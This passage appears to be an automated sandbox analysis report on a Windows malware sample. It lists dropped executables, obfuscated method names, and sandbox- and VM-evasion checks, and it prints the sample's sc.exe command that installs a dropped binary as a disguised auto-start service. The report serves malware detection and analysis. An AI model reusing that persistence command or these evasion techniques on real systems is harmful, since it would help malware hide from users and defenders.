Source: 30.2.3BC6.exe.650000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 30.2.3BC6.exe.650000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 30.0.3BC6.exe.650000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 30.0.3BC6.exe.650000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 30.0.3BC6.exe.650000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 30.0.3BC6.exe.650000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 45.0.3BC6.exe.3c0000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 45.0.3BC6.exe.3c0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: unknown

Executable created and started: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\vfgiwcs

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\FC2A.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9789.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\88E2.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\7808.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\2473.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\vfgiwcs	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3136.exe	File created: C:\Users\user\AppData\Local\Temp\xqfkdfcl.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\254E.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B1B2.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\BFBD.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3BC6.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3A7E.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\45AA.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\2F32.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\54AF.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6AF7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8017.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3136.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe (copy)

Jump to dropped file

Source: C:\Windows\SysWOW64\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ffiawxs

Source: C:\Users\user\AppData\Local\Temp\3136.exe

Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create ffiawxs binPath= "C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe /d\"C:\Users\user\AppData\Local\Temp\3136.exe\"" type= own start= auto DisplayName= "wifi support

Source: C:\Users\user\AppData\Local\Temp\3136.exe

29_2_00409A6B

Hooking and other Techniques for Hiding and Protection:

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\og9rnsihj7.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\vfgiwcs:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\254E.exe

Code function: 28_2_0040C2E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,

28_2_0040C2E0

Source: C:\Windows\SysWOW64\WerFault.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after checking mutex)

Show sources

Source: C:\Users\user\AppData\Local\Temp\254E.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: vfgiwcs, 00000013.00000002.349898800.00000000004BB000.00000004.00000020.sdmp

Binary or memory string: ASWHOOK#

Found evasive API chain (may stop execution after checking locale)

Show sources

Source: C:\Users\user\AppData\Local\Temp\254E.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Show sources

Source: C:\Users\user\AppData\Local\Temp\254E.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00406AA0		28_2_00406AA0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C6CF0		28_2_006C6CF0

Found evasive API chain (may stop execution after checking computer name)

Show sources

Source: C:\Users\user\AppData\Local\Temp\254E.exe

Evasive API call chain: GetComputerName,DecisionNodes,Sleep

Source: C:\Windows\explorer.exe TID: 960	Thread sleep time: -34000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4860	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe TID: 5972	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 4928	Thread sleep count: 43 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 4928	Thread sleep time: -43000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4524	Thread sleep time: -180000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\3136.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\AppData\Local\Temp\3BC6.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 581			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 370			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	API coverage: 8.1 %
Source: C:\Users\user\AppData\Local\Temp\254E.exe	API coverage: 6.2 %
Source: C:\Users\user\AppData\Local\Temp\3136.exe	API coverage: 6.1 %

Source: C:\Users\user\AppData\Local\Temp\254E.exe

Code function: 28_2_006C6CF0

28_2_006C6CF0

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\FC2A.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\9789.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\88E2.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7808.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2473.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\3A7E.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\45AA.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2F32.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\54AF.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\6AF7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8017.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\254E.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Evaded block: after key decision

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3BC6.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	API call chain: ExitProcess graph end node	graph_0-20951
Source: C:\Users\user\AppData\Local\Temp\254E.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\254E.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\254E.exe	API call chain: ExitProcess graph end node

Source: explorer.exe, 00000005.00000000.256329492.000000000891C000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000005.00000000.256374084.00000000089B5000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.256329492.000000000891C000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000002F.00000002.430423414.00000137968EB000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWve MAC Layer LightWeight Filter-0000
Source: svchost.exe, 00000007.00000002.554990269.000002A7EAC62000.00000004.00000001.sdmp	Binary or memory string: @Hyper-V RAW
Source: svchost.exe, 0000002F.00000002.430170249.0000013796881000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.428076474.0000013796881000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW0
Source: svchost.exe, 00000007.00000002.554789678.000002A7EAC55000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000002.399711667.0000000005415000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000002.399424774.00000000053B7000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.396234617.0000000005413000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.396202885.0000000005412000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000002.430423414.00000137968EB000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000005.00000000.249847758.00000000011B3000.00000004.00000020.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000tft\0
Source: explorer.exe, 00000005.00000000.273307731.00000000089B5000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000%
Source: explorer.exe, 00000005.00000000.257121503.000000000DC20000.00000004.00000001.sdmp	Binary or memory string: _VMware_SATAF6
Source: explorer.exe, 00000005.00000000.251433696.00000000053C4000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}>'R\"
Source: explorer.exe, 00000005.00000000.273307731.00000000089B5000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000002
Source: explorer.exe, 00000005.00000000.257121503.000000000DC20000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}osoft S
Source: svchost.exe, 00000007.00000002.534797425.000002A7E5629000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW`C
Source: svchost.exe, 00000008.00000002.534681859.0000015FD863E000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.534535653.000001F3C5A29000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.394128637.0000000005419000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.394453975.0000000005418000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3136.exe

Code function: 29_2_00401D96 CreateThread,GetVersionExA,GetSystemInfo,GetModuleHandleA,GetProcAddress,GetCurrentProcess,GetTickCount,

29_2_00401D96

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 0_2_00419A0C GetPrivateProfileSectionW,BuildCommDCBAndTimeoutsW,CreateMailslotA,CallNamedPipeA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,GetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameW,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeA,FindFirstFileExW,	0_2_00419A0C
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	28_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	28_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	28_2_00401280
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	28_2_00401090
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	28_2_00409B40
